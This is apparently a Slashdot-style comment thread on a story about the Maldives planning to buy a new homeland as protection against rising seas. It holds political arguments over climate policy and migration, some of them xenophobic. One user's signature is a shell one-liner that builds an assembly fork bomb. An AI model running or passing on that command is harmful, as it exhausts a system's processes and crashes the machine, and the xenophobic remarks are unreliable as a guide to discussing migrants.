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As Seas Rise, Maldives Seek To Buy a New Homeland
Peace Corps Online writes "The Maldives will begin to divert a portion of the country's billion-dollar annual tourist revenue to buy a new homeland as insurance against climate change. Rising sea levels threaten to turn the 300,000 islanders into environmental refugees as the chain of 1,200 island and coral atolls dotted 500 miles from the tip of India is likely to disappear under the waves if the current pace of climate change continues to raise sea levels. The UN forecasts that the seas are likely to rise by up to 59 cm by the year 2100. Most parts of the Maldives are just 150 cm above water so even a 'small rise' in sea levels would inundate large parts of the archipelago. 'We can do nothing to stop climate change on our own and so we have to buy land elsewhere. It's an insurance policy for the worst possible outcome,' says the Muslim country's first democratically elected president, Mohamed Nasheed, adding that he has already broached the subject with a number of countries and found them to be 'receptive.' India and Sri Lanka are targets because they have similar cultures and climates; Australia is worth looking at because of the immense amount of unoccupied land in that country. 'We do not want to leave the Maldives, but we also do not want to be climate refugees living in tents for decades.'"
I'm guessing they'll migrate to other countries, something many of them seem to have no problem with. A lot of Londoners are Balgladeshi.
== Jez ==
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Yeah, and Obama will sure use the WMD that Bush found on Iraq to threat the countries that don't agree with the Kyoto protocol.
Any life is made up of a single moment, the moment in which a man finds out, once and for all, who he is.
The Maldives have really hit a low point.
By developing countries he means India and China. You know, the countries that are actually developing and hence increasing their CO2 emissions.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You are an idiot. The GP only points out that enforcing a decrease in emissions in developed countries does more harm than good if developing nations are still allowed to increase. He never once wrote that developing nations shouldn't be allowed to.
"Good grief. At least the inhabitants of the Maldives are suggesting to *pay* for the land they're looking at. 385,925 (July 2008 est.) people should be able to find a home somewhere and it saddens me to think that people's first reaction is like yours."
If everyone is equally wonderful and no one is entitled to defend their preferred culture against migration, make room for them in Holland and be morally enriched thereby.
They can be put to work making knife-resistant vests for your playwrights.
"This post is an artistic work of fiction and falsehood. Only a fool would take anything posted here as fact."
Actually it is a nice place to call home compared to the squalor that surrounds it on all sides.
Republicans are out of power. By all means, Dems, go ahead and enact environmental policies that demand draconian conservation measures and higher prices, that double, triple or quintuple electricity bills, and then tell the American people to put on sweaters, turn off the TVs and computers and be glad they helped save the planet.
Energy is wealth. It means more food, more travel, more heat, more cooling, more options. If you have less energy, you are less wealthy. If you have 1/10th of the energy, as some environmental advocates are asking for, you will have 1/10th of the wealth.
Conservation is an admission of poverty.
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